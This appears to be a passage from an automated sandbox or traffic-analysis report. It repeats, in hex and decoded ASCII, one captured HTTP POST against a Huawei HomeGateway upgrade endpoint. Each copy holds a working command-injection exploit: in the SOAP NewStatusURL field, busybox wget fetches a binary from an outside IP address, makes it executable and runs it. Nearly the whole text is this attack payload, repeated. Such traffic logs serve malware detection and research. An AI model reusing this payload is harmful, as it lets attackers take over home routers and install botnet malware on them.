3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
